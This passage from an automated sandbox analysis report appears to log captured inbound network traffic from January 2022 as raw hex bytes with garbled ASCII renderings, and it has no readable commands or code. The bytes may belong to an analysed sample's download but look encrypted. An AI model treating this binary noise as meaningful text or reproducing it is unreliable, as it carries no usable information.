eb 2f 77 1e 4c Data Ascii: DkB"pjLnts3cVY1CMBU%mic{ H9_C#iO6LI4vAtM95EwWw@VS<?8(,xyFhz>]WN82C./AkO]uZ["f__,%A*>;^Y/wL

2022-01-15 19:23:32 UTC 7175 IN Data Raw: c3 45 09 30 1d 61 a0 e0 34 3d 00 b9 29 09 1d 19 d6 f3 90 ce 25 ce 63 56 48 5a 3e 59 09 8a 95 6d 4e 16 52 67 f2 95 b9 0d 9e 73 24 29 bb 39 81 9d c3 22 43 46 b1 30 fc e1 a4 47 8e 84 dc 0a 89 ed 86 1c d7 2d 15 7a 3c e7 f8 3b f1 0f 9e 23 08 77 77 51 64 c0 b4 4a 5c 24 76 c7 0a de 1d 07 c5 36 3c 13 a8 d6 2b e9 9d 27 eb c7 e7 c5 7c 6a 73 54 85 49 2f 40 12 d6 8e bf 46 bd b9 64 d0 b7 38 9f 90 f6 6f 2f 1a d4 39 fa 81 cc 7b 9c cb 38 7b b6 26 79 a1 ad d7 a9 44 aa 9c e6 d6 f2 03 f4 73 e1 05 cb 9d 54 5b 78 71 39 45 5f 9a 9b 4f 35 c8 bf f5 ff 9a c8 4e 9a ff cd a9 13 43 49 65 3f d9 5c c3 22 3b 68 a9 ef 0e 3d 20 d8 b3 42 3d 10 60 4d c8 9a 7d 66 4e 72 f8 3c 31 16 56 f1 29 12 c0 60 42 41 cb 66 c4 47 3f 58 3c 56 34 33 cf d4 28 d2 06 f4 cd 10 0a bd 03 c4 30 4e ec 57 f6 ac 1d Data Ascii: E0a4=)%cVHZ>YmNRgs$)9"CF0G-z<;#wwQdJ\$v6<+'|jsTI/@Fd8o/9{8{&yDsT[xq9E_O5NCIe?\";h= B=`M}fNr<1V)`BAfG?X<V43(0NW

2022-01-15 19:23:32 UTC 7191 IN Data Raw: 8d f7 c6 ca 1b e2 ef 5b c3 dd 39 ce 1e 8a 07 2c 44 04 4d 73 2a 84 e0 55 19 dc 4f bc 1a f7 31 dd 07 34 20 75 24 4e 89 2e 1a 66 b1 57 cf 81 ae 8c 89 74 00 48 80 1c 15 9e 24 7c e8 55 4c eb 0d 94 9c 5a 05 df bf e2 02 e0 51 b5 a1 b5 c0 8e c8 07 53 9a 79 18 87 19 16 47 f8 6d be 18 cd ee 52 3f 69 35 c8 29 66 bd 31 ea f2 78 51 60 7c 28 ed 21 ce 16 4c dd 02 4e b7 0f de 13 90 8f 87 30 41 15 15 4e aa 16 1e 32 3c f3 80 14 42 5e 39 ea 43 58 97 19 95 8d 44 d1 9c 86 ec eb 13 38 b9 7e 50 d0 2f 7d ac 6e fc 51 e9 a9 1d 98 8f f4 c2 1e 9d 8a 21 78 ce c0 26 bf 83 a4 71 b0 94 64 f8 42 2d 0f b8 06 8a f9 45 b0 fd 5f fa 8b 59 c8 c3 6b 01 e3 72 61 06 10 66 cd 0a 2d 63 06 32 58 3c 9e c8 71 cd f2 54 61 b3 a1 0c 41 1f d5 d5 e4 5e 21 2e b2 8e 51 45 47 03 04 0d 03 b7 40 b8 a4 68 2d 04 Data Ascii: [9,DMs*UO14 u$N.fWtH$|ULZQSyGmR?i5)f1xQ`|(!LN0AN2<B^9CXD8~P/}nQ!x&qdB-E_Ykraf-c2X<qTaA^!.QEG@h-

2022-01-15 19:23:32 UTC 7207 IN Data Raw: ae 21 80 b1 cb 19 2f dc 30 62 89 9f 6b 2e 0b 41 67 19 6c f5 a9 6b f2 3e f4 3b 5a 42 c7 a7 29 c7 62 5e f0 36 89 45 77 46 b8 32 96 cd 03 1c d5 04 f8 c7 6e d3 d6 e8 ff 85 ef 35 95 56 89 d4 ab 41 82 49 9c cd 46 ae 6e 39 39 ba 21 9e 63 0d 97 b5 1f c7 be c3 b8 07 90 f9 9d ac 8b d8 b0 cc 36 76 74 e7 f8 46 c0 40 fa da 35 37 20 52 80 5c f7 b1 a4 5b 2f 5a c7 1c 9f 33 fe ff 97 03 b9 34 a2 3a 3c 8a e2 f2 10 70 51 15 58 49 a1 37 2e e1 12 bd 63 1e 2e 47 c4 8a 9f 6e 14 37 ea 96 2d 98 69 81 77 b7 02 4b c4 19 0f f5 64 40 9a 98 ad e9 12 f6 92 85 42 15 75 f2 07 35 43 c9 bd b7 3d f7 99 e5 0e 8e 19 43 58 3f ef 8e 78 03 09 19 22 98 65 42 2e 7f 65 54 fa 7c 50 05 bb 17 0f 68 ed 55 ef eb f6 43 14 1a e5 89 1d 90 77 f9 02 6a 3f 74 5e 75f7 d6 bf de 87 27 f1 68 00 0d 03 ff d1 8e 99 Data Ascii: !/0bk.Aglk>;ZB)b^6EwF2n5VAIFn99!c6vtF@57 R\[/Z34:<pQXI7.c.Gn7-iwKd@Bu5C=CX?x"eB.eT|PhUCwj?t^u'h

2022-01-15 19:23:32 UTC 7223 IN Data Raw: 62 e2 8f 8e 4a 3c b2 8f 34 1b f3 68 05 5d c6 bc 7a dd b9 d2 9d 1d 70 b5 40 ec fa c0 88 43 3c fd 26 96 cc f7 03 9c 7f 47 c7 0c b6 0d 95 cb 09 49 03 4d fc ca 0f 0a be 1b 71 d5 1e be f2 54 e6 87 2d 35 d4 52 33 ee 0b c0 1a 55 0a 57 31 f4 e5 6e fa d4 36 c3 02 08 22 f4 b8 e2 f7 05 d4 75 72 98 e6 28 e9 76 b3 16 53 da f7 a6 57 23 15 b4 ee df 51 e2 63 23 2b b2 5a 6d 77 7e b8 1b d3 4f dc ca b0 01 19 69 47 e8 37 b4 87 05 01 a5 fd d9 77 bc f6 de be af 47 ff 5e d5 3b 34 38 bd 0c 64 6b b5 6d 57 ef ae 1c e0 99 9e be f8 d9 9b ec 58 e6 fe 8f e7 8f d1 67 9c 22 06 fe 70 e3 0e b9 2b 90 58 9a a0 d9 1c a9 404c 33 58 cd 29 39 3c 9e d8 80 be b4 a7 6a 7a a5 94 79 34 0e e2 ac 2a 78 24 82 c4 3d 34 16 61 ca 2f 4a 9b f5 8c 09 ef df 41 37 84 c1 2f b4 df 56 0d 86 b6 72 6e 31 1c 4c f9 Data Ascii: bJ<4h]zp@C<&GIMqT-5R3UW1n6"ur(vSW#Qc#+Zmw~OiG7wG^;48dkmWXg"p+X@L3X)9<jzy4*x$=4a/JA7/Vrn1L

2022-01-15 19:23:32 UTC 7239 IN Data Raw: 6b 93 19 92 08 06 3f 3b 50 0d bf ad 18 4e 48 54 07 6d 4b 65 20 38 21 87 b0 49 06 21 16 67 0c 79 7c 47 13 85 dc f5 e2 41 ee da 71 b4 de bd 61 9d d4 57 f1 bb 4a 98 2b 9a d9 f9 86 2e f3 9e c5 aa a5 36 33 0b 8f 14 42 17 cd f4 28 e2 ba f0 a2 c6 6f d2 b9 c4 b8 1c 07 47 e1 9a a9 40 d1 da 87 ce 4a 45 f3 28 cc 67 17 50 15 2c 7d cf 07 81 dd 79 a4 1a 58 da ba 09 84 7b 88 cb 9d ca 9a cd 61 ef 3d c7 79 54 c2 77 0b 35 33 89 3f c9 25 49 13 85 66 47 4f 87 6d fd e3 48 c9 81 4f 04 af 92 af 63 e7 b6 28 1c b6 73 c5 32 f9 25 5e f2 dc a9 64 a0 36 81 a9 a2 a9 4c 7b f4 57 48 7b 2c 7a 9a 02 e8 89 d5 06 d7 c5 0a 62 c9 13 3e 89 d9 c2 99 6f 5c dd 56 0e e3 63 04 4e 09 00 fd 6a c7 21 1b 52 c5 ec 33 39 40 3d 30 19 ca dd 50 6e 22 bc 2a a5 65 18 03 06 98 a7 de 9f 04 b4 f9 53 f0 7a 03 5d Data Ascii: k?;PNHTmKe 8!I!gy|GAqaWJ+.63B(oG@JE(gP,}yX{a=yTw53?%IfGOmHOc(s2%^d6L{WH{,zb>o\VcNj!R39@=0Pn"*eSz]

2022-01-15 19:23:32 UTC 7255 IN Data Raw: 62 bb fe bb 20 67 87 e2 f3 92 af fa e3 9a 04 60 17 ac 40 94 33 75 06 19 64 06 1b 66 33 07 0c 2f 29 dd f9 0d f9 6d d3 94 da 0b 37 fb 88 2a 2d f5 8f 03 15 2c b1 c1 75 3e f0 8e b6 56 e7 5f 43 48 ef 8f da 84 99 1b 20 d1 88 c8 28 ec 76 c6 54 91 aa 6f 74 ea 12 0d 4e fc a7 80 c6 85 0b 3d 68 c2 d6 c7 4c e4 97 d6 1f 55 cf 3c 0d b6 84 17 42 0f 07 b1 28 cc c2 de b4 6f fa 0b db fd 78 e3 d7 1e 6a 6f 0a 8b ea 7e 7c 8f de c7 2a 45 f3 7b cd cb ad 35 bc a4 4b f1 fa b3 89 33 b5 85 df 17 b2 d1 7e 08 a9 48 04 8b 4c cd b9 04 99 f5 5b ce b9 01 c6 ab ba 09 f2 c7 03 53 94 d9 aa 06 aa 3d 4a 85 ab cc e1 9e 53 8d 80 cf 44 9e a3 81 96 ad e2 3e b1 81 3a 7a d2 e0 4a 3d 28 4e bc 01 17 fd 75 c8 8a 3c 89 f0 d1 e8 77 79 80 19 08 61 d9 ee 53 7f a5 3b 71 b9 78 fb ae c9 93 d7 09 e4 ac 00 7e Data Ascii: b g`@3udf3/)m7*-,u>V_CH (vTotN=hLU<B(oxjo~|*E{5K3~HL[S=JSD>:zJ=(Nu<wyaS;qx~

2022-01-15 19:23:32 UTC 7271 IN Data Raw: 18 21 7f e3 21 3c e6 22 d2 f5 60 f0 a1 f9 e8 d8 22 a9 d6 1f 57 5a 89 23 82 d2 54 b2 a1 4e c0 cc 33 58 05 0f ee 8d dc b5 76 ea f1 e6 eb 45 7c 5c a7 2e 39 bd 5d 3d b9 ce 1c b9 e8 55 fd c2 8f 63 c7 dd dd 90 34 ad 2a fb ca e0 a5 12 d3 d3 7d b5 24 cc b8 26 e0 5d 11 e1 83 43 9c 7b a9 42 1a b9 c7 dd 36 f2 f8 60 7e 11 29 7d 9f 70 c7 d6 3e b6 11 3a ad 80 86 c7 20 a0 0a 97 00 ba 1e 8b 47 25 e9 21 9a fa 7c 87 b0 33 98 20 a0 6f 16 78 f2 0e c5 07 2e b7 a0 66 3e 89 9d 38 ad 94 6e c7 9b c1 66 e5 fd c4 a0 35 f2 b1 54 92 c1 2f 80 58 22 5b 02 24 4a 07 67 38 29 ce 1d 7c 27 ec 4a 8b 4d 5c a0 29 96 67 e1 ab 67 82 54 67 9e 6c f2 54 50 88 1d cb 25 80 f0 e3 f0 f2 0c 58 08 22 86 cc 56 42 6f 77 4c d3 08 aa 45 0a 8d 91 3d a4 7e d7 c3 04 da 7e 5f 4a 2a b0 ed e8 ed e7 ff 73 2b 03 2c Data Ascii: !!<"`"WZ#TN3XvE|\.9]=Uc4*}$&]C{B6`~)}p>: G%!|3 ox.f>8nf5T/X"[$Jg8)|'JM\)ggTglTP%X"VBowLE=~~_J*s+,

2022-01-15 19:23:32 UTC 7287 IN Data Raw: 41 5f e4 ef 51 20 b6 03 e5 86 42 48 65 d6 09 11 71 2e da 32 e0 44 57 da e5 e8 ed 45 84 aa 9d 16 7b 41 30 ac ee 04 42 54 3a 64 2e e3 b4 53 0c 93 7e 10 25 93 2c d4 8b 12 a3 d3 4e 5e d3 a7 45 56 6f 3e a1 82 f9 2c 9a 8d 65 44 be 7b 8f ee 00 79 77 73 18 1c 85 b5 2f e3 30 1b 6d 03 f9 59 42 5e 6b f2 a7 bc e4 b6 41 a0 b8 0a ef 21 3c 38 c9 a5 d9 03 d8 9e 42 e9 41 8a 72 a2 4f f0 fc 05 b8 58 a4 e0 81 f7 bd d4 e7 42 d7 5d d7 10 67 e1 f7 75 52 ac 38 40 04 5b 20 b7 18 e2 06 55 f2 7e 35 55 2b 0e 9a 5c c9 76 e1 52 13 3a 99 b0 93 69 96 c7 9e 38 7b 20 98 92 b1 a9 34 17 44 5e 6f 48 90 9d c4 80 70 29 1b d3 0b e0 4a 64 df e3 07 28 db 80 e6 43 76 4f 9e fe 7b ae 29 a6 be 2e 37 6a b4 83 ac d8 96 25 b8 92 51 ae 2c 44 4f 9a 7c 57 ad 34 1c e2 6e 57 64 ed 76 9d 71 4d a8 22 95 8d b4 Data Ascii: A_Q BHeq.2DWE{A0BT:d.S~%,N^EVo>,eD{yws/0mYB^kA!<8BArOXB]guR8@[ U~5U+\vR:i8{ 4D^oHp)Jd(CvO{).7j%Q,DO|W4nWdvqM"

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 78 of 103

2022-01-15 19:23:32 UTC 7303 IN Data Raw: 93 c4 7b 8c 8a 5c ac 36 94 dc 6e a4 cd 16 b9 08 6f 96 5b 42 41 6c 34 b0 fa ec 6a 75 a5 d3 e6 e9 83 a1 4d 85 b8 2c d3 07 a4 53 d4 1c 4d dd 37 ca ed 2e f5 e9 36 58 a6 13 2a 41 b7 df d2 1d e4 8d 2f 33 c8 6a 08 a7 05 20 b8 a0 76 f4 ca 7e 25 ee b3 88 28 97 72 6a cd 75 10 3d c2 c9 00 3a 7f 95 ec fe 09 96 c5 43 56 78 f2 1d 0a 72 53 96 1c e3 5b 79 2c 57 ca a1 a1 f6 f8 53 a2 b3 b4 fa 7f 44 2b 6d 0f 5d ef 54 54 f3 f4 9c ef c5 2b 1d 49 aa 7f 7c b6 f9 2e 56 f9 87 eb 9e 52 c1 85 bf f9 b6 5b 7c f2 3f 4b 6f 1f 46 4c 2a 5f f3 69 32 3c cf d1 77 20 9a 54 bb a9 e8 e7 f9 f0 be 60 a8 ae 64 48 4a 75 6c 00 0a 6f ce 81 a5 aa 59 1b 2c 2b b9 72 1b 29 bf b9 23 fd d8 02 72 5b 05 7c f1 87 7b 01 d8 eb f6 ed 16 65 34 81 50 62 2e c1 95 5c b0 2e ff 2c ac 5f e7 8c 3c 05 c4 b9 e7 fd a1 8e Data Ascii: {\6no[BAl4juM,SM7.6X*A/3j v~%(rju=:CVxrS[y,WSD+m]TT+I|.VR[|?KoFL*_i2<w T`dHJuloY,+r)#r[|{e4Pb.\.,_<

2022-01-15 19:23:32 UTC 7319 IN Data Raw: fe 96 86 f6 08 d3 81 bc 18 e2 88 35 dc e4 f6 52 c6 e2 a3 1c e8 f7 72 e8 8f 19 51 4c 0d ff ac 79 70 df 16 82 5f d4 f1 da 7c 04 7b 25 20 0b ec 1c b1 be 98 4d 64 9c be 8e b9 26 8c 69 37 16 10 9e f8 07 c2 a6 da da 20 46 d3 ec a1 5a 13 07 4c 1c f0 89 91 f1 87 77 8b 53 4e c3 10 f0 56 d3 ea b1 3a 5d fd ed 34 0c 06 f6 b6 2a 8b f6 ab 54 29 fc 3e 22 4d ee 6f e0 d7 64 c3 4f 28 fd 1d b2 00 29 1a 58 71 e2 e0 74 ae 23 c8 2e f7 4c cb 74 aa e3 d9 a2 78 bd 79 47 89 0d c6 89 d9 68 a2 d5 2a 93 2c d1 76 61 19 dd e6 4d ec 4e c8 28 40 59 11 eb f9 7e 0d 2b 14 6c 9a 81 53 89 88 c5 d7 89 eb 7e 5d e5 07 af cb 94 2d 36 96 ef 3f 46 92 11 3e e3 29 63 82 1e f7 66 42 c4 94 cd a5 40 86 df 55 f4 88 ae f2 7e 39 2e d4 e0 85 33 63 bc f3 57 e2 f3 e1 cf 22 51 34 c0 f2 67 52 d8 85 fa e8 cd c5 Data Ascii: 5RrQLyp_|{% Md&i7 FZLwSNV:]4*T)>"ModO()Xqt#.LtxyGh*,vaMN(@Y~+lS~]-6?F>)cfB@U~9.3cW"Q4gR

2022-01-15 19:23:32 UTC 7335 IN Data Raw: 7f e2 4b f1 6c 6c f9 04 6f 7e 28 fa 92 52 a4 7b 64 47 a4 4d 5c 5d b4 c5 0f a5 aa 52 ea a5 42 c7 50 2d a3 bb 5b 52 ef 46 1b e8 13 d8 b4 81 68 ba 44 e9 aa 5c f3 12 37 fb 49 dd b4 5b 6a 91 e8 5e 51 55 d2 b0 6b e0 c5 ca 18 65 62 11 49 4f df 4d 67 b6 bc ce 69 59 42 be c2 13 41 92 b9 58 96 a8 d3 a4 3b 5b 9c 6a 4f cf 4e 35 29 10 9b d1 16 57 e3 72 36 53 45 01 43 0a fb 35 c2 e7 15 61 52 65 bf 4c b6 5b 9c dc b9 b3 ca ff 2f f4 8d 41 74 32 37 07 08 cd 5d 95 77 f2 6e fd 13 87 73 8f 57 c1 3a 42 91 f7 63 8c 5a d3 71 9f 79 23 f0 59 93 cb 11 5c c0 ca 30 87 d2 46 89 51 f5 62 a9 80 c3 f0 f9 a2 03 88 60 41 b7 88 af ba 87 de 6f 3c f7 04 6e 44 2d 27 69 2e 92 3c 78 f1 b1 bd 72 f6 70 58 44 c6 3e 4d 64 59 27 59 71 41 00 33 ed 5e 46 fa 3f fa 78 98 88 23 3b 0d 94 f9 e6 78 77 dc 97 Data Ascii: Kllo~(R{dGM\]RBP-[RFhD\7I[j^QUkebIOMgiYBAX;[jON5)Wr6SEC5aReL[/At27]wnsW:BcZqy#Y\0FQb`Ao<nD-'i.<xrpXD>MdY'YqA3^F?x#;xw

2022-01-15 19:23:32 UTC 7351 IN Data Raw: 59 68 4f 7e 5b f1 2c 1f 2d 37 e6 75 0a ed 10 58 dc ad 32 41 0a dc 21 46 09 71 39 4e fe fb 6b 3c 28 d1 f6 05 72 32 5b 34 03 83 2b 23 3b bc ee 0f bc f1 c5 2e 61 d3 fd 25 00 f7 a3 ca c0 81 6e 53 df 36 98 2b 6e 38 81 77 67 3b 51 c8 ce 2d e2 27 d4 01 29 b5 b0 d8 3a 61 ec 04 a5 a1 6b 47 81 a8 fb b0 88 30 35 07 f8 21 7a 3e 1a 1c be cb 3b 2f bc 52 11 9d 89 22 7e 9c 13 63 09 1a f9 42 60 c3 c8 c0 93 4c 8b 94 0b 36 fa 03 1c bd b3 c1 b0 aa 00 e4 74 5b 49 d1 06 c8 3c 9b 35 ea 29 d5 6a 80 ff 6d 10 bb 07 21 8e 5b 11 fe 8d 82 28 d6 63 72 f8 6e dc 1f d9 49 81 41 fa 32 44 d6 9f ea 30 77 4b 68 95 ab 2a e1 97 c0 87 ce 6f 36 66 e7 7f f5 31 9e 86 8a b8 34 a7 6c 43 06 97 e3 f5 2d a7 ca 09 3c b3 f9 09 9c 08 70 7c da b2 88 1f 3e 5b 21 45 76 7d 34 9e 6b f8 23 e8 7f 02 15 ad 41 f8 Data Ascii: YhO~[,-7uX2A!Fq9Nk<(r2[4+#;.a%nS6+n8wg;Q-'):akG05!z>;/R"~cB`L6t[I<5)jm![(crnIA2D0wKh*o6f14lC-<p|>[!Ev}4k#A

2022-01-15 19:23:33 UTC 7367 IN Data Raw: 29 6a fd d1 cc b0 20 2a b8 e2 77 d1 4c 6b 75 27 98 4b e7 cd ca 6e 8f fc 41 64 94 71 c9 61 18 04 62 5d 54 a5 e9 92 b4 79 4f 77 a2 6d 58 e5 de fe 7d 14 d6 e5 d2 c1 83 c0 bb 2e 07 4d fb 0f 8e 70 2c cc bf c3 22 98 25 4c 24 e1 20 7a d2 47 b4 91 32 0c 3d 2c 3f a6 48 3a 8b 95 b5 ee f6 a4 7e 15 74 f6 b7 45 f0 c9 a8 55 77 2a 30 b1 74 cf e2 c7 ca 51 af 8d b7 f6 6d 1c e1 eb b0 9b b5 46 70 af d0 7f ec 98 ec a0 c0 98 b1 62 20 28 e0 90 38 31 57 45 38 13 8b 38 97 5a c4 58 c1 24 63 1c 12 db 03 c5 0c 8d d1 59 14 94 98 b0 96 01 fc 64 8e c7 97 5d c0 d2 85 89 b2 7c fe 43 28 fd 35 c7 d2 e0 17 c9 a4 f2 1c 90 88 39 7f 28 a0 e7 ca 8f e3 ea ae dc 57 12 42 eb ad 5f 52 ed 2c 0c 38 b1 55 bf b7 25 7c 54 df cb bd b5 34 8b 10 c9 0f 3a 22 58 cb 8e fd 5c 3c 9f 93 8e 07 36 6c cf 15 24 3b Data Ascii: )j *wLku'KnAdqab]TyOwmX}.Mp,"%L$ zG2=,?H:~tEUw*0tQmFpb (81WE88ZX$cYd]|C(59(WB_R,8U%|T4:"X\<6l$;

2022-01-15 19:23:33 UTC 7383 IN Data Raw: 2f bc 09 2c 9d ec 11 22 b6 4b 66 ee 24 e8 63 25 d1 a4 b6 b2 2a 97 e0 c8 55 9a 8d 3d b9 06 b3 3f 64 d3 5b 38 08 ce 7b 31 7f e5 c6 20 66 1b fc c8 b1 49 a1 38 78 cb 7c e7 18 72 e5 36 bc e8 f9 a4 a4 58 cc 01 fa c6 76 56 47 3b 72 b9 bd 41 44 1e dc a7 d6 83 2e fa 21 5a 5d 9c c9 b2 a0 3c 7c 43 f6 25 49 77 2d 5e 72 ef dd e2 94 f3 a3 05 23 13 8d 31 4f 6e fe ca 27 a8 79 f4 4c 22 0b 91 76 19 30 7c 31 f4 aa 2a b6 31 e1 b8 d1 ee ac ce ad 24 ff 07 44 1f e7 18 51 ec e7 42 2a 52 3f 2c eb a2 3d 43 51 2c 83 80 72 51 bd e2 68 77 a8 30 5d a6 66 d5 1f 7d 4b 8b 4c a7 f5 2f 51 47 61 7c d2 1e 0d 26 5f 14 34 e1 ca c6 6f 01 e7 ef 24 7b 21 09 fe 9e 6e 3d 69 3d a5 5d 50 85 42 63 0c 37 06 ff 87 8e 47 49 bf 7f 2d a2 1f 89 7b 47 96 8f 77 b0 39 21 5f ac 2b 03 0e a4 15 61 53 e0 54 27 ed Data Ascii: /,"Kf$c%*U=?d[8{1 fI8x|r6XvVG;rAD.!Z]<|C%Iw-^r#1On'yL"v0|1*1$DQB*R?,=CQ,rQhw0]f}KL/QGa|&_4o${!n=i=]PBc7GI-{Gw9!_+aST'

2022-01-15 19:23:33 UTC 7399 IN Data Raw: 7a c4 66 01 02 e6 85 f6 c1 0f a2 28 17 d1 fc d9 13 6c 3d 11 b2 11 6a fc d5 aa 35 77 71 bd de 9b 4a 72 28 50 3c 97 44 af 3c 74 0a 5f c6 76 bf 4d aa eb 52 75 a7 f1 a6 9d b1 9f 80 34 ab b6 19 d4 bc 23 00 04 7c f9 cf a3 c0 6e 46 18 93 e4 f6 66 66 c4 6f f7 b1 ab 72 a7 0b 14 45 e1 09 19 3c f7 17 68 43 88 cf 15 fd 88 04 7a 0e c1 64 e6 ef ce 1d 63 5f 55 ec c7 28 a7 0b e3 eb 46 78 71 b9 45 6c e0 71 d5 65 74 a9 16 11 73 9a 8d c4 6c 5c e5 5e fd 8d b4 da 53 58 48 f3 3b 6d c5 74 c9 4c 9b a0 af 7f 6d fd 80 d5 9c a4 c1 57 4c 87 94 05 1f 2b c7 67 57 93 62 9e 52 0d d1 56 2b b9 97 8f e8 c1 7c 34 89 3d 14 04 a9 70 9b 21 30 17 4f 59 51 a2 f4 60 b4 58 d3 72 42 ee 74 93 fe 67 57 63 0c ae c0 af f9 11 94 87 51 50 d0 3c 8d d7 93 a3 a9 37 b0 d9 d7 15 a5 4a 59 a0 75 e0 1c 3b 77 55 Data Ascii: zf(l=j5wqJr(P<D<t_vMRu4#|nFfforE<hCzdc_U(FxqElqetsl\^SXH;mtLmWL+gWbRV+|4=p!0OYQ`XrBtgWcQP<7JYu;wU

2022-01-15 19:23:33 UTC 7415 IN Data Raw: 63 0c b9 6a 8b 22 8c 1a 9e c8 9a ef 11 dd 62 83 fb 0d ab 3b bd 1b c2 ab 41 ac 05 c2 9b dc f5 51 eb 2a ef 10 7998 ea fa e0 9a bd 58 05 0d 04 31 28 b4 2e f6 b4 a1 7e 1b c9 bf 49 51 a2 22 c4 89 38 51 b9 f0 bd ce b2 c8 bb 2f 44 81 e3 ef15 56 f1 36 8f 6e 79 89 d7 36 8e ba f9 85 e9 6f de d0 4d c4 02 c1 53 9f 59 5e f2 eb 62 48 d4 e0 00 1c 7c bd bf 90 34 fe 29 a9 23 55 1f 64 d0 cc d4 5f a1 92 c2 c8 05 b0 f5 a5 4a 4b c7 2e d1 ec 98 5e c2 e8 20 87 9f 45 bc d8 8b ab ba 5b 68 de c2 98 30 83 b9 14 e9 2e 98 6e c2 72 6c 72 97 47 96 f7 3d b8 a7 0e 7a 4c c0 f5 82 40 7e b1 78 09 c7 10 17 96 02 d7 8f 52 74 0c 79 7e b2 ba 3d 1d 08 d5 97 e2 4f fa 39 79 b1 fc 71 3f 9a 5e 47 78 22 08 66 fe 20 3a c7 19 2b 8b 70 d4 5c a9 d3 0a a4 71 49 94 35 54 09 6c ea 08 dd 0b 96 90 9e 2c a3 Data Ascii: cj"b;AQ*yX1(.~IQ"8Q/DV6ny6oMSY^bH|4)#Ud_JK.^ E[h0.nrlrG=zL@~xRty~=O9yq?^Gx"f :+p\qI5Tl,

2022-01-15 19:23:33 UTC 7423 IN Data Raw: d9 80 13 a1 c5 d7 05 5d 1c 54 ae 43 d0 fa e2 a2 4a af 39 1c 8b 00 1d 9b 0d 0b f3 2f 6b ef 13 2b 02 d5 98 a2 3c 37 28 d0 84 4c f8 7c f0 d8 46 dd dc c8 79 21 89 48 51 ad fd c0 63 f4 10 06 70 46 c8 5a 6a 0f 4a 33 6c 68 6c c8 e9 22 37 f7 f4 f5 bd d1 49 3d 83 9e b1 a2 1c e7 46 06 f9 3e 00 47 3a d3 80 27 e4 1b 98 f7 82 4f 90 64 7c 7a aa 3d 3f f1 e6 9d d0 14 e7 26 70 e7 cf 04 f9 10 11 cd 2e d7 41 d4 f3 70 ea 27 1a 98 a3 57 b9 15 c1 77 15 6d d3 fc c4 2b 4b ee 90 92 55 50 17 bf 02 68 62 c4 31 39 93 5a b6 d6 61 ea 5e b5 76 60 56 ce d9 97 d7 29 99 cd 8e 06 72 1f 13 3f 5c 03 36 bb bc 98 54 c6 33 fb 0d 5d b4 4f 3b 31 e2 05 48 41 4b a8 02 55 8b 62 c9 b1 1d 5f 30 5d 9d e2 39 f5 1a 7e 76 fe 1d 97 5b 2e da 7b ae bf b4 57 35 d0 7c e0 b0 38 ef 03 29 14 fa 1d 04 e1 c9 17 27 Data Ascii: ]TCJ9/k+<7(L|Fy!HQcpFZjJ3lhl"7I=F>G:'Od|z=?&p.Ap'Wwm+KUPhb19Za^v`V)r?\6T3]O;1HAKUb_0]9~v[.{W5|8)'

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 79 of 103

2022-01-15 19:23:33 UTC 7439 IN Data Raw: a7 29 13 c7 bc 9b fb 8b 6a 3c a0 1e eb 3f 74 41 de 32 2c c2 85 fe 60 47 07 6d 26 c5 c3 9a fb 77 66 ed 1f 54 1d 93 68 3e 5d 99 d9 65 3a 8f 6c d8 21 a6 d4 ca ab 2b b4 64 54 b0 0f cf 4d 94 85 37 4f a4 b7 9b 66 be 41 9e 07 0e 53 39 aa 3e 9f e4 68 3a 8f f3 bd 80 0e 44 49 17 bc ca 66 23 f1 dc 03 23 ac 12 1a 22 40 c8 18 45 6e f4 78 9d 39 20 35 b7 cd 88 52 cd ed fa 56 d6 96 de c1 c3 75 1c 9f 31 64 c7 67 e6 cb eb 4d 2c 3c 39 1f 1b b8 46 7b 13 9f 1e 2d e5 72 b2 8c 8c 58 60 dd 10 f4 46 d4 a0 b6 38 4f e6 7c a0 8d ff 46 45 69 48 68 6b b9 cf 7b 39 8e a1 5a 9e bb 0b e5 a6 76 78 2a c3 3c 53 46 c5 94 a5 b4 38 72 8e 4c e3 40 a0 1d a5 05 a0 24 9d 0a df 96 76 b4 ec 7b 0f b2 54 a1 7a 63 46 c0 48 10 23 f6 e1 f3 16 a7 fb 96 98 69 7d 61 c1 bd cd c3 c9 00 77 87 60 3b 9c 89 68 00 Data Ascii: )j<?tA2,`Gm&wfTh>]e:l!+dTM7OfAS9>h:DIf##"@Enx9 5RVu1dgM,<9F{-rX`F8O|FEiHhk{9Zvx*<SF8rL@$v{TzcFH#i}aw`;h

2022-01-15 19:23:33 UTC 7455 IN Data Raw: c0 4d 98 39 ce 24 7f f9 82 6c d8 40 3f 72 4f 61 0a c0 00 57 ab 4a a3 49 0b 79 f9 28 60 7e 8a ae 1b 0c d5 da 3d e7 08 50 0e 07 be c3 9c 76 13 2a 58 89 87 45 fa 15 b7 c9 cf 61 23 39 3a 06 8d 4a 29 26 f5 86 e4 d3 3a c2 c5 8a fc f2 0c 4f 31 a0 01 28 f2 3c e5 f7 ed 07 ea 7a 07 56 6f a7 9c c9 4e af df ac 12 92 25 b7 3d 07 22 94 bc d8 08 58 22 a1 f8 c8 27 ad 1d a2 f4 01 be df 2f 7f ef 13 91 29 78 03 f3 3e 1b f9 48 34 2e 74 e6 7a b4 1d 61 12 53 1e a2 59 20 5f a2 43 5b 1c 60 cf bc e4 f8 57 dc c8 61 9b f5 ce fb 79 ee 1f c9 20 46 36 c5 b4 90 7b 69 76 b4 ca 4e 31 98 c7 a8 3c 31 35 be 65 c6 90 0b 9b e5 ee 90 17 ab 61 b2 19 ad ef 8b 45 7c 2c 76 0e 1a db 98 3a 95 2e a4 d6 80 fb 5c 6b 8e 00 ab e2 67 81 aa 83 4a 62 02 d5 3e ef 66 95 69 81 fc ff 45 17 87 71 01 55 63 0d 91 Data Ascii: M9$l@?rOaWJIy(`~=Pv*XEa#9:J)&:O1(<zVoN%="X"'/)x>H4.tzaSY _C[`Way F6{ivN1<15eaE|,v:.\kgJb>fiEqUc

